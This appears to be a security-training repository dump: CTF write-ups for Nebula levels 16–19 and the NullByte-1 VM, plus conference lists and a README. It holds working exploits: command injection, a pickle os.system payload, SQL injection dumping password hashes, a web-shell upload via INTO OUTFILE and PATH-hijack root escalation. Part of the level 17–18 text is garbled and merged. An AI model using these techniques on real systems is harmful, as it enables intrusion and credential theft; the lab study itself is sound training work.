1 | # Level16
2 |
3 | #### About
4 |
5 | There is a perl script running on port 1616.
6 | To do this level, log in as the level16 account with the password level16. Files for this level can be found in /home/flag16.
7 |
8 |
9 | #### Source code
10 |
11 | ```
12 | #!/usr/bin/env perl
13 |
14 | use CGI qw{param};
15 |
16 | print "Content-type: text/html\n\n";
17 |
18 | sub login {
19 | $username = $_[0];
20 | $password = $_[1];
21 |
22 | $username =~ tr/a-z/A-Z/; # conver to uppercase
23 | $username =~ s/\s.*//; # strip everything after a space
24 |
25 | @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
26 | foreach $line (@output) {
27 | ($usr, $pw) = split(/:/, $line);
28 |
29 |
30 | if($pw =~ $password) {
31 | return 1;
32 | }
33 | }
34 |
35 | return 0;
36 | }
37 |
38 | sub htmlz {
39 | print("Login resuls");
40 | if($_[0] == 1) {
41 | print("Your login was accepted
");
42 | } else {
43 | print("Your login failed
");
44 | }
45 | print("Would you like a cookie?
\n");
46 | }
47 |
48 | htmlz(login(param("username"), param("password")));
49 | ```
50 |
51 | #### Solutions
52 |
53 | ```
54 | echo ${PWD,,}
55 |
56 | level16@nebula:~$ ${/BIN/GETFLAG>/TMP/11.TXT,,}
57 | -sh: ${/BIN/GETFLAG>/TMP/11.TXT,,}: bad substitution
58 | level16@nebula:~$ CMD=/BIN/GETFLAG;${CMD,,}
59 | getflag is executing on a non-flag account, this doesn't count
60 |
61 | level16@nebula:~$ cat /tmp/exp.sh
62 | #!/bin/bash
63 |
64 | /bin/getflag>>/tmp/lv16.txt
65 | level16@nebula:~$ wget http://localhost:1616/index.cgi?username=%22%3C%2FDEV%2FNULL%3BP%3D%2FTMP%2FEXP.SH%3B%24{P%2C%2C}%3B%23&password=
66 | ```
67 |
--------------------------------------------------------------------------------
/CTFS/Nebula/level17.md:
--------------------------------------------------------------------------------
1 | # Level17
2 |
3 | #### About
4 |
5 | There is a python script listening on port 10007 that contains a vulnerability.
6 | To do this level, log in as the level17 account with the password level17. Files for this level can be found in /home/flag17.
7 |
8 |
9 | #### Source code
10 |
11 | ```
12 | #!/usr/bin/python
13 |
14 | import os
15 | import pickle
16 | import time
17 | import socket
18 | import signal
19 |
20 | signal.signal(signal.SIGCHLD, signal.SIG_IGN)
21 |
22 | def server(skt):
23 | line = skt.recv(1024)
24 |
25 | obj = pickle.loads(line)
26 |
27 | for i in obj:
28 | clnt.send("why did you send me " + i + "?\n")
29 |
30 | skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
31 | skt.bind(('0.0.0.0', 10007))
32 | skt.listen(10)
33 |
34 | while True:
35 | clnt, addr = skt.accept()
36 |
37 | if(os.fork() == 0):
38 | clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
39 | server(clnt)
40 | exit(1)
41 | ```
42 |
43 | #### Soltions
44 |
45 | ```
46 | level17@nebula:~$ cat /tmp/lv17.txt
47 | cos
48 | system
49 | (S'getflag > /tmp/pwnie17'
50 | tR.
51 | level17@nebula:~$ nc 192.168.1.106 10007
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 |
21 | struct {
22 | FILE *debugfile;
23 | int verbose;
24 | int loggedin;
25 | } globals;
26 |
27 | #define dprintf(...) if(globals.debugfile) \
28 | fprintf(globals.debugfile, __VA_ARGS__)
29 | #define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
30 | fprintf(globals.debugfile, __VA_ARGS__)
31 |
32 | #define PWFILE "/home/flag18/password"
33 |
34 | void login(char *pw)
35 | {
36 | FILE *fp;
37 |
38 | fp = fopen(PWFILE, "r");
39 | if(fp) {
40 | char file[64];
41 |
42 | if(fgets(file, sizeof(file) - 1, fp) == NULL) {
43 | dprintf("Unable to read password file %s\n", PWFILE);
44 | return;
45 | }
46 | fclose(fp);
47 | if(strcmp(pw, file) != 0) return;
48 | }
49 | dprintf("logged in successfully (with%s password file)\n",
50 | fp == NULL ? "out" : "");
51 |
52 | globals.loggedin = 1;
53 |
54 | }
55 |
56 | void notsupported(char *what)
57 | {
58 | char *buffer = NULL;
59 | asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
60 | dprintf(what);
61 | free(buffer);
62 | }
63 |
64 | void setuser(char *user)
65 | {
66 | char msg[128];
67 |
68 | sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
69 | printf("%s\n", msg);
70 |
71 | }
72 |
73 | int main(int argc, char **argv, char **envp)
74 | {
75 | char c;
76 |
77 | while((c = getopt(argc, argv, "d:v")) != -1) {
78 | switch(c) {
79 | case 'd':
80 | globals.debugfile = fopen(optarg, "w+");
81 | if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
82 | setvbuf(globals.debugfile, NULL, _IONBF, 0);
83 | break;
84 | case 'v':
85 | globals.verbose++;
86 | break;
87 | }
88 | }
89 |
90 | dprintf("Starting up. Verbose level = %d\n", globals.verbose);
91 |
92 | setresgid(getegid(), getegid(), getegid());
93 | setresuid(geteuid(), geteuid(), geteuid());
94 |
95 | while(1) {
96 | char line[256];
97 | char *p, *q;
98 |
99 | q = fgets(line, sizeof(line)-1, stdin);
100 | if(q == NULL) break;
101 | p = strchr(line, '\n'); if(p) *p = 0;
102 | p = strchr(line, '\r'); if(p) *p = 0;
103 |
104 | dvprintf(2, "got [%s] as input\n", line);
105 |
106 | if(strncmp(line, "login", 5) == 0) {
107 | dvprintf(3, "attempting to login\n");
108 | login(line + 6);
109 | } else if(strncmp(line, "logout", 6) == 0) {
110 | globals.loggedin = 0;
111 | } else if(strncmp(line, "shell", 5) == 0) {
112 | dvprintf(3, "attempting to start shell\n");
113 | if(globals.loggedin) {
114 | execve("/bin/sh", argv, envp);
115 | err(1, "unable to execve");
116 | }
117 | dprintf("Permission denied\n");
118 | } else if(strncmp(line, "logout", 4) == 0) {
119 | globals.loggedin = 0;
120 | } else if(strncmp(line, "closelog", 8) == 0) {
121 | if(globals.debugfile) fclose(globals.debugfile);
122 | globals.debugfile = NULL;
123 | } else if(strncmp(line, "site exec", 9) == 0) {
124 | notsupported(line + 10);
125 | } else if(strncmp(line, "setuser", 7) == 0) {
126 | setuser(line + 8);
127 | }
128 | }
129 |
130 | return 0;
131 | }
132 |
133 | ```
134 |
135 |
--------------------------------------------------------------------------------
/CTFS/Nebula/level19.md:
--------------------------------------------------------------------------------
1 | # Level19
2 |
3 | #### About
4 |
5 | There is a flaw in the below program in how it operates.
6 | To do this level, log in as the level19 account with the password level19. Files for this level can be found in /home/flag19.
7 |
8 |
9 | #### Source code
10 |
11 | ```
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 |
20 | int main(int argc, char **argv, char **envp)
21 | {
22 | pid_t pid;
23 | char buf[256];
24 | struct stat statbuf;
25 |
26 | /* Get the parent's /proc entry, so we can verify its user id */
27 |
28 | snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());
29 |
30 | /* stat() it */
31 |
32 | if(stat(buf, &statbuf) == -1) {
33 | printf("Unable to check parent process\n");
34 | exit(EXIT_FAILURE);
35 | }
36 |
37 | /* check the owner id */
38 |
39 | if(statbuf.st_uid == 0) {
40 | /* If root started us, it is ok to start the shell */
41 |
42 | execve("/bin/sh", argv, envp);
43 | err(1, "Unable to execve");
44 | }
45 |
46 | printf("You are unauthorized to run this program\n");
47 | }
48 | ```
49 |
50 | #### Solutions
51 |
52 | ```
53 | #include
54 | #include
55 | #include
56 | #include
57 | #include
58 |
59 | int main(void){
60 | pid_t pid;
61 | char* args[]= {"/bin/sh", "-c", "getflag > /tmp/flag19", NULL};
62 | pid = fork();
63 | if (pid==0){
64 | nice(19);
65 | execve("/home/flag19/flag19",args, NULL);
66 | }else if (pid <0){
67 | printf("Ups\n");
68 | }else{
69 | exit(1);
70 | }
71 | return 0;
72 | }
73 | ```
74 |
75 | #### Recommands
76 |
77 | http://securityetalii.es/2012/08/10/soluciones-nebula-niveles-1719/
78 |
79 |
--------------------------------------------------------------------------------
/CTFS/NullByte/NullByte-1.md:
--------------------------------------------------------------------------------
1 | #NullByte-1 Workthrough#
2 |
3 | Scan internal network for target ip address. Finally, we find nullbyte ip address - 192.168.10.32.
4 |
5 | ## Scan Open Ports ##
6 |
7 | ```
8 | ┌─[lab@core]─[/tmp]
9 | └──╼ nmap -v -n -A -p- 192.168.10.32
10 |
11 | Starting Nmap 6.47 ( http://nmap.org ) at 2015-08-28 04:32 UTC
12 | NSE: Loaded 118 scripts for scanning.
13 | NSE: Script Pre-scanning.
14 | Initiating Ping Scan at 04:32
15 | Scanning 192.168.10.32 [2 ports]
16 | Completed Ping Scan at 04:32, 0.00s elapsed (1 total hosts)
17 | Initiating Connect Scan at 04:32
18 | Scanning 192.168.10.32 [65535 ports]
19 | Discovered open port 80/tcp on 192.168.10.32
20 | Discovered open port 111/tcp on 192.168.10.32
21 | Discovered open port 42151/tcp on 192.168.10.32
22 | Discovered open port 777/tcp on 192.168.10.32
23 | Completed Connect Scan at 04:32, 4.18s elapsed (65535 total ports)
24 | Initiating Service scan at 04:32
25 | Scanning 4 services on 192.168.10.32
26 | Completed Service scan at 04:32, 11.01s elapsed (4 services on 1 host)
27 | NSE: Script scanning 192.168.10.32.
28 | Initiating NSE at 04:32
29 | Completed NSE at 04:32, 0.17s elapsed
30 | Nmap scan report for 192.168.10.32
31 | Host is up (0.016s latency).
32 | Not shown: 65531 closed ports
33 | PORT STATE SERVICE VERSION
34 | 80/tcp open http Apache httpd 2.4.10 ((Debian))
35 | |_http-methods: GET HEAD POST OPTIONS
36 | |_http-title: Null Byte 00 - level 1
37 | 111/tcp open rpcbind 2-4 (RPC #100000)
38 | | rpcinfo:
39 | | program version port/proto service
40 | | 100000 2,3,4 111/tcp rpcbind
41 | | 100000 2,3,4 111/udp rpcbind
42 | | 100024 1 42151/tcp status
43 | |_ 100024 1 60595/udp status
44 | 777/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0)
45 | |_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
46 | 42151/tcp open status 1 (RPC #100024)
47 | Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
48 |
49 | NSE: Script Post-scanning.
50 | Read data files from: /usr/bin/../share/nmap
51 | Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
52 | Nmap done: 1 IP address (1 host up) scanned in 16.38 seconds
53 |
54 | ```
55 |
56 | ## Vuln Analysis ##
57 |
58 | ```
59 | | Port | Ptotocol | Description |
60 | |:-------|:-----------|:---------------------------------------|
61 | | 80 | tcp | Apache httpd 2.4.10 (Debian) |
62 | | 111 | tcp | rpcbind |
63 | | 777 | tcp | OpenSSH 6.7p1 Debian 5 (protocol 2.0) |
64 | | 42151 | tcp | Status |
65 | ```
66 |
67 | ### HTTP ###
68 |
69 | Access http://192.168.10.32:80/, we can view a picture and a message. "If you search for the laws of harmony, you will find knowledge."
70 |
71 | 1. **Scan web directory**
72 |
73 | ```
74 | ┌─[lab@core]─[/tmp]
75 | └──╼ python wfuzz.py -c -z file,/opt/fuzzdb/discovery/web-dir-list.txt --hc 404 http://192.168.10.32/FUZZ/
76 | ********************************************************
77 | * Wfuzz 2.1.3 - The Web Bruteforcer *
78 | ********************************************************
79 |
80 | Target: http://192.168.10.32/FUZZ/
81 | Total requests: 3932
82 |
83 | ==================================================================
84 | ID Response Lines Word Chars Request
85 | ==================================================================
86 |
87 | 01576: C=403 11 L 32 W 298 Ch ".htaccess"
88 | 01689: C=403 11 L 32 W 294 Ch "icons"
89 | 01775: C=403 11 L 32 W 299 Ch "javascript"
90 | 02526: C=200 24 L 324 W 9115 Ch "phpmyadmin"
91 | 02747: C=403 11 L 32 W 298 Ch ".htpasswd"
92 | 02922: C=403 11 L 32 W 302 Ch "server-status"
93 | 03496: C=200 6 L 11 W 113 Ch "uploads"
94 |
95 | Total time: 9.983371
96 | Processed Requests: 3932
97 | Filtered Requests: 3925
98 | Requests/sec.: 393.8549
99 |
100 | ```
101 |
102 | try to access [phpmyadmin](http://192.168.10.32/phpmyadmin/) and [uploads](http://192.168.10.32/uploads/). Brute forece phpmyadmin with patator, but no result.
103 |
104 |
105 | 2. **Analysis Picture**
106 |
107 | We need more, and download http://192.168.10.32/main.gif. Analysis it with exiftool, we can see:
108 |
109 | ```
110 | ┌─[lab@core]─[/tmp]
111 | └──╼ exiftool main.gif
112 | ExifTool Version Number : 10.00
113 | File Name : main.gif
114 | Directory : .
115 | File Size : 16 kB
116 | File Modification Date/Time : 2015:08:27 14:48:11+00:00
117 | File Access Date/Time : 2015:08:28 04:48:12+00:00
118 | File Inode Change Date/Time : 2015:08:28 04:48:12+00:00
119 | File Permissions : rw-r--r--
120 | File Type : GIF
121 | File Type Extension : gif
122 | MIME Type : image/gif
123 | GIF Version : 89a
124 | Image Width : 235
125 | Image Height : 302
126 | Has Color Map : No
127 | Color Resolution Depth : 8
128 | Bits Per Pixel : 1
129 | Background Color : 0
130 | Comment : url -> S0tLMG9hc3F3YXc=
131 | Image Size : 235x302
132 | Megapixels : 0.071
133 | ```
134 |
135 | Woo, url is here.
136 |
137 | ```
138 | ┌─[lab@core]─[/tmp]
139 | └──╼ printf S0tLMG9hc3F3YXc= | base64 -d
140 | KKK0oasqwaw
141 | ```
142 |
143 | open http://192.168.10.32/KKK0oasqwaw/, messages as follow:
144 |
145 | ```
146 | Notices:
147 |
148 | If you can understood the string, you can be to the next level.
149 | It may be a name, a password , a url or something else.
150 | -------------------------------------------------------------------------------------------------------------------------------------
151 |
152 | MmUyZTJlMmUyMDJlMmUyZTJlMmQyMDJlMmQyZTIwMmQyZTJlMjAyZTJkMmQyMDJkMmQyZDJkMmQyMDJlMmQyZTIwMmQyZTJkMjA=
153 | ```
154 |
155 | decode the string, we can get:
156 |
157 | ```
158 | ┌─[lab@core]─[/tmp]
159 | └──╼ printf MmUyZTJlMmUyMDJlMmUyZTJlMmQyMDJlMmQyZTIwMmQyZTJlMjAyZTJkMmQyMDJkMmQyZDJkMmQyMDJlMmQyZTIwMmQyZTJkMjA= | base64 -d
160 | 2e2e2e2e202e2e2e2e2d202e2d2e202d2e2e202e2d2d202d2d2d2d2d202e2d2e202d2e2d20
161 | ┌─[lab@core]─[/tmp]
162 | └──╼ printf MmUyZTJlMmUyMDJlMmUyZTJlMmQyMDJlMmQyZTIwMmQyZTJlMjAyZTJkMmQyMDJkMmQyZDJkMmQyMDJlMmQyZTIwMmQyZTJkMjA= | base64 -d | unhex
163 | .... ....- .-. -.. .-- ----- .-. -.-
164 | ```
165 |
166 | This is "Morse code". Decode it and get string "h4rdw0rk". What's the meaning ?
167 | - "It may be a name, a password , a url or something else."
168 |
169 | we find url "http://192.168.10.32/KKK0oasqwaw/h4rdw0rk.php", enter "password". The page shows us "invalid key".
170 |
171 |
172 | 3. **Crack HTTP Form**
173 |
174 | Choose your favorite tool to crack, For example: Burpsuite / Hydra.
175 |
176 | The password is "password1".
177 |
178 | If password is correct, page shows "Enter username".
179 |
180 |
181 | 4. **SQL Injection**
182 |
183 | Enter username "'",
184 |
185 | ```
186 | http://192.168.10.32/KKK0oasqwaw/888search.php?usrtosearch='
187 | ```
188 |
189 | Fetched data successfully
190 |
191 |
192 | Enter username '"',
193 |
194 | ```
195 | http://192.168.10.32/KKK0oasqwaw/888search.php?usrtosearch="
196 | ```
197 |
198 | Error Message:
199 |
200 | **Could not get data: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%"' at line 1**
201 |
202 |
203 | Finally, we can get mysql root user as follow:
204 |
205 | ```
206 | http://192.168.10.32/KKK0oasqwaw/888search.php?usrtosearch=" union select 1,2,concat(user, 0x7c, password) from mysql.user-- #
207 | ```
208 |
209 | we get username and password hash,
210 |
211 | ```
212 | EMP ID :1
213 | EMP NAME : ramses
214 | EMP POSITION :
215 | --------------------------------
216 | EMP ID :2
217 | EMP NAME : isis
218 | EMP POSITION : employee
219 | --------------------------------
220 | EMP ID :1
221 | EMP NAME : 2
222 | EMP POSITION : root|*18DC78FB0C441444482C7D1132C7A23D705DAFA7
223 | --------------------------------
224 | EMP ID :1
225 | EMP NAME : 2
226 | EMP POSITION : debian-sys-maint|*BD9EDF51931EC5408154EBBB88AA01DA22B8A8DC
227 | --------------------------------
228 | EMP ID :1
229 | EMP NAME : 2
230 | EMP POSITION : phpmyadmin|*18DC78FB0C441444482C7D1132C7A23D705DAFA7
231 | --------------------------------
232 | Fetched data successfully
233 | ```
234 |
235 | crack the hash on site [hashkiller](http://www.hashkiller.co.uk/).
236 |
237 | ```
238 | root:sunnyvale
239 | ```
240 |
241 | 5. **Upload Backdoors**
242 |
243 | login phpmyadmin with "root:sunnyvale", upload your php backdoor to uploads (/var/www/html/uploads) with sql query:
244 |
245 | ```
246 | select "" into outfile "/var/www/html/uploads/phpinfo.php";
247 | select "" into outfile "/var/www/html/uploads/cmd.php"
248 | ```
249 |
250 | Get os shell with msf
251 |
252 | ```
253 | www-data@NullByte:/var/www/backup$ echo $PATH
254 | /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
255 | www-data@NullByte:/var/www/backup$ PATH="/var/www/backup:$PATH"
256 | www-data@NullByte:/var/www/backup$ echo $PATH
257 | /var/www/backup:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
258 | www-data@NullByte:/var/www/backup$ ln -s /bin/sh ps
259 | www-data@NullByte:/var/www/backup$ ./procwatch
260 | # id
261 | uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
262 | # cd /root
263 | # ls -l
264 | total 4
265 | -rw-r--r-- 1 root root 1170 Aug 2 01:45 proof.txt
266 | # cat proof.txt
267 | adf11c7a9e6523e630aaf3b9b7acb51d
268 |
269 | It seems that you have pwned the box, congrats.
270 | Now you done that I wanna talk with you. Write a walk & mail at
271 | xly0n@sigaint.org attach the walk and proof.txt
272 | If sigaint.org is down you may mail at nbsly0n@gmail.com
273 |
274 |
275 | USE THIS PGP PUBLIC KEY
276 |
277 | -----BEGIN PGP PUBLIC KEY BLOCK-----
278 | Version: BCPG C# v1.6.1.0
279 |
280 | mQENBFW9BX8BCACVNFJtV4KeFa/TgJZgNefJQ+fD1+LNEGnv5rw3uSV+jWigpxrJ
281 | Q3tO375S1KRrYxhHjEh0HKwTBCIopIcRFFRy1Qg9uW7cxYnTlDTp9QERuQ7hQOFT
282 | e4QU3gZPd/VibPhzbJC/pdbDpuxqU8iKxqQr0VmTX6wIGwN8GlrnKr1/xhSRTprq
283 | Cu7OyNC8+HKu/NpJ7j8mxDTLrvoD+hD21usssThXgZJ5a31iMWj4i0WUEKFN22KK
284 | +z9pmlOJ5Xfhc2xx+WHtST53Ewk8D+Hjn+mh4s9/pjppdpMFUhr1poXPsI2HTWNe
285 | YcvzcQHwzXj6hvtcXlJj+yzM2iEuRdIJ1r41ABEBAAG0EW5ic2x5MG5AZ21haWwu
286 | Y29tiQEcBBABAgAGBQJVvQV/AAoJENDZ4VE7RHERJVkH/RUeh6qn116Lf5mAScNS
287 | HhWTUulxIllPmnOPxB9/yk0j6fvWE9dDtcS9eFgKCthUQts7OFPhc3ilbYA2Fz7q
288 | m7iAe97aW8pz3AeD6f6MX53Un70B3Z8yJFQbdusbQa1+MI2CCJL44Q/J5654vIGn
289 | XQk6Oc7xWEgxLH+IjNQgh6V+MTce8fOp2SEVPcMZZuz2+XI9nrCV1dfAcwJJyF58
290 | kjxYRRryD57olIyb9GsQgZkvPjHCg5JMdzQqOBoJZFPw/nNCEwQexWrgW7bqL/N8
291 | TM2C0X57+ok7eqj8gUEuX/6FxBtYPpqUIaRT9kdeJPYHsiLJlZcXM0HZrPVvt1HU
292 | Gms=
293 | =PiAQ
294 | -----END PGP PUBLIC KEY BLOCK-----
295 |
296 | ```
297 |
298 |
--------------------------------------------------------------------------------
/CTFS/README.md:
--------------------------------------------------------------------------------
1 | **Authors**: < [nixawk](https://github.com/nixawk) >, < [sjas](https://github.com/sjas) >
2 |
3 | ----
4 |
5 | # CTFS & PentestLab
6 |
7 | The stronger you want to become, the more exercises you need.
8 |
9 | # Links
10 |
11 | 1. https://www.vulnhub.com/
12 | 2. https://www.pentesterlab.com/
13 | 3. http://www.amanhardikar.com/mindmaps/Practice.html
14 | 4. http://r-7.co/Metasploitable2
15 |
--------------------------------------------------------------------------------
/Information-Security-Conferences/README.md:
--------------------------------------------------------------------------------
1 | ## Information Security Conferences
2 |
3 | - [DEF CON](https://www.defcon.org/) - An annual hacker convention in Las Vegas
4 | - [Black Hat](http://www.blackhat.com/) - An annual security conference in Las Vegas
5 | - [BSides](http://www.securitybsides.com/) - A framework for organising and holding security conferences
6 | - [CCC](https://events.ccc.de/congress/) - An annual meeting of the international hacker scene in Germany
7 | - [DerbyCon](https://www.derbycon.com/) - An annual hacker conference based in Louisville
8 | - [PhreakNIC](http://phreaknic.info/) - A technology conference held annually in middle Tennessee
9 | - [ShmooCon](http://shmoocon.org/) - An annual US east coast hacker convention
10 | - [CarolinaCon](http://www.carolinacon.org/) - An infosec conference, held annually in North Carolina
11 | - [CHCon](https://chcon.nz) - Christchurch Hacker Con, held annually in New Zealand
12 | - [SummerCon](http://www.summercon.org/) - One of the oldest hacker conventions, held during Summer
13 | - [Hack.lu](https://2016.hack.lu/) - An annual conference held in Luxembourg
14 | - [HITB](https://conference.hitb.org/) - Deep-knowledge security conference held in Malaysia and The Netherlands
15 | - [Troopers](https://www.troopers.de) - Annual international IT Security event with workshops held in Heidelberg, Germany
16 | - [Hack3rCon](http://hack3rcon.org/) - An annual US hacker conference
17 | - [ThotCon](http://thotcon.org/) - An annual US hacker conference held in Chicago
18 | - [LayerOne](http://www.layerone.org/) - An annual US security conference held every spring in Los Angeles
19 | - [DeepSec](https://deepsec.net/) - Security Conference in Vienna, Austria
20 | - [SkyDogCon](http://www.skydogcon.com/) - A technology conference in Nashville
21 | - [SECUINSIDE](http://secuinside.com) - Security Conference in [Seoul](https://en.wikipedia.org/wiki/Seoul)
22 | - [DefCamp](http://def.camp/) - Largest Security Conference in Eastern Europe, held anually in Bucharest, Romania
23 | - [AppSecUSA](https://appsecusa.org/) - An annual conference organised by OWASP
24 | - [BruCON](http://brucon.org) - An annual security conference in Belgium
25 | - [Infosecurity Europe](http://www.infosecurityeurope.com/) - Europe's number one information security event, held in London, UK
26 | - [Nullcon](http://nullcon.net/website/) - An annual conference in Delhi and Goa, India
27 | - [RSA Conference USA](https://www.rsaconference.com/) - An annual security conference in San Francisco, California, USA
28 | - [Swiss Cyber Storm](https://www.swisscyberstorm.com/) - An annual security conference in Lucerne, Switzerland
29 | - [Virus Bulletin Conference](https://www.virusbulletin.com/conference/index) - An annual conference going to be held in Denver, USA for 2016
30 | - [Ekoparty](http://www.ekoparty.org) - Largest Security Conference in Latin America, held annually in Buenos Aires, Argentina
31 | - [44Con](https://44con.com/) - Annual Security Conference held in London
32 | - [BalCCon](https://www.balccon.org) - Balkan Computer Congress, annualy held in Novi Sad, Serbia
33 | - [FSec](http://fsec.foi.hr) - FSec - Croatian Information Security Gathering in Varaždin, Croatia
34 | - [SyScan360](https://www.syscan360.org/) - SyScan360 is a well-known Information Security Conference in Asia.
35 | - [KCon](http://kcon.knownsec.com/) - KCon is a famous Hacker Con powered by Knownsec Team.
36 | - [SecTor](https://sector.ca) - An annual Canada's Premier Security Conference held in Toronto
37 | - [HackFest](https://hackfest.ca/en/) - Largest hacking event in Canada, held annualy in Quebec City
38 | - [Steelcon](https://www.steelcon.info/) - Annual security conference held in Sheffield UK (Also runs kids track)
39 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | The MIT License (MIT)
2 |
3 | Copyright (c) 2016 Vex Woo
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | **Authors**: < [nixawk](https://github.com/nixawk) >, < [m1guelpf](https://github.com/m1guelpf) >, < [binarymist](https://github.com/binarymist) >
2 |
3 | ----
4 |
5 | [](https://github.com/nixawk/pentest-wiki) is a free online security knowledge library for pentesters / researchers. If you have a good idea, please share it with others.
6 |
7 | ## Contents
8 |
9 | - [](./Information-Security-Conferences)
10 |
11 | - [](./1.Information-Gathering)
12 |
13 | - Network Analysis
14 | - IP
15 | - [Whois](1.Information-Gathering/How-to-gather-Whois-Information-Gathering.md)
16 | - [DNS](./1.Information-Gathering/How-to-gather-dns-information.md)
17 | - Identify Live Hosts
18 | - IDS/IPS Identification
19 |
20 | - Web Application
21 | - Web Application Fingerprint
22 | - CMS Identification
23 | - Open Source Analysis
24 | - IDS/IPS Identification
25 |
26 | - OSINT
27 | - GHDB
28 | - People
29 | - Pictures
30 | - Media
31 | - Company
32 | - Document
33 |
34 | - [](./2.Vulnerability-Assessment)
35 |
36 | - Vulnerability Scanners
37 | - Network Assessment
38 | - Web Application Assessment
39 | - [OWASP CheatSheetSeries](https://github.com/OWASP/CheatSheetSeries/tree/master/cheatsheets)
40 | - Database Assessment
41 | - [MongoDB](./2.Vulnerability-Assessment/Database-Assessment/mongodb/mongodb_hacking.md)
42 | - [MySQL](./2.Vulnerability-Assessment/Database-Assessment/mysql)
43 | - [Postgresql](./2.Vulnerability-Assessment/Database-Assessment/postgresql/postgresql_hacking.md)
44 | - [Sqlite](./2.Vulnerability-Assessment/Database-Assessment/sqlite/sqlite_hacking.md)
45 |
46 | - Mobile Assessment
47 | - [Android](./2.Vulnerability-Assessment/Android-Assessment)
48 | - [OWASP-MASVS](https://github.com/OWASP/owasp-masvs)
49 | - [OWASP-MSTG](https://github.com/OWASP/owasp-mstg/)
50 | - OS Assessment
51 | - [Mac OSX](./2.Vulnerability-Assessment/OS-Assessment/OSX)
52 |
53 |
54 | - [](./3.Exploitation-Tools) & [](./4.Post-Exploitation)
55 | - Network Exploitation
56 | - [Vulnerable Ports List](./3.Exploitation-Tools/Network-Exploitation/ports_number.md)
57 | - [Cisco ASA CVE-2016-6366](./4.Post-Exploitation/How-to-hack-Cisco-ASA-with-CVE-2016-6366.md)
58 | - OS Exploitation
59 | - Windows
60 | - [Windows 2008 Active Directory Hacking](./4.Post-Exploitation/Windows_ActiveDirectory/Hacking_Windows_Active_Directory.md)
61 | - [Windows 2012 Credentials dump](./4.Post-Exploitation/Windows_ActiveDirectory/How-to-dump-windows2012-credentials.md)
62 | - [Metasploit - run vbs payload in cmd.exe](./4.Post-Exploitation/Windows_ActiveDirectory/Execute_metasploit_vbs_payload_in_cmd_shell.md)
63 | - [Windows Vssadmin](./4.Post-Exploitation/Windows_ActiveDirectory/How-to-use-vssadmin.md)
64 | - Web Exploitation
65 | - Database Exploitation
66 | - Wireless Exploitation
67 | - Social Engineering
68 | - Physical Exploitation
69 | - Open Source Exploitation
70 |
71 | - [](./5.Privilege-Escalation)
72 | - Password Attacks
73 | - Privilege Escalation Media
74 | - [Windows Privilege Escalation Fundamentals](http://www.fuzzysecurity.com/tutorials/16.html)
75 | - [Basic Linux Privilege Escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
76 |
77 | - Protocol Analysis
78 | - Spoofing Analysis
79 |
80 | - [](./6.Maintaining-Access)
81 | - OS Backdoors
82 | - Tunneling
83 | - Web Backdoors
84 |
85 | - [](./7.Reporting)
86 | - [Public pentesting reports](https://github.com/juliocesarfort/public-pentesting-reports)
87 |
88 | - [](./Books)
89 | - [Penetration Testing Books](./Books/README.md#penetration-testing-books)
90 | - [Hackers Handbook Series](./Books/README.md#hackers-handbook-series)
91 | - [Defensive Development](./Books/README.md#defensive-development)
92 | - [Network Analysis Books](./Books/README.md#network-analysis-books)
93 | - [Reverse Engineering Books](./Books/README.md#reverse-engineering-books)
94 | - [Malware Analysis Books](./Books/README.md#malware-analysis-books)
95 | - [Windows Books](./Books/README.md#windows-books)
96 | - [Social Engineering Books](./Books/README.md#social-engineering-books)
97 | - [Lock Picking Books](./Books/README.md#lock-picking-books)
98 | - [OSINT Books](./Books/README.md#osint-books)
99 |
100 | - [](./CTFS)
101 | - [Flick](./CTFS/Flick)
102 | - [Nebula](./CTFS/Nebula)
103 | - [NullByte-1](./CTFS/NullByte/NullByte-1.md)
104 |
105 | - [](./Reverse-Engineering)
106 |
107 | - [](./System-Services)
108 | - [FTP](./System-Services/services/service-ftp.md)
109 | - [HTTP](https://gist.github.com/willurd/5720255)
110 |
111 | ## How to contribute
112 |
113 | 1. Check for open issues or open a fresh issue to start a discussion around a feature idea or a bug.
114 | 2. Fork [the repository](https://github.com/nixawk/pentest-wiki) on GitHub to start making your changes to the **master** branch (or branch off of it).
115 | 3. Send a pull request and bug the maintainer until it gets merged and published.
116 |
117 | ## Links
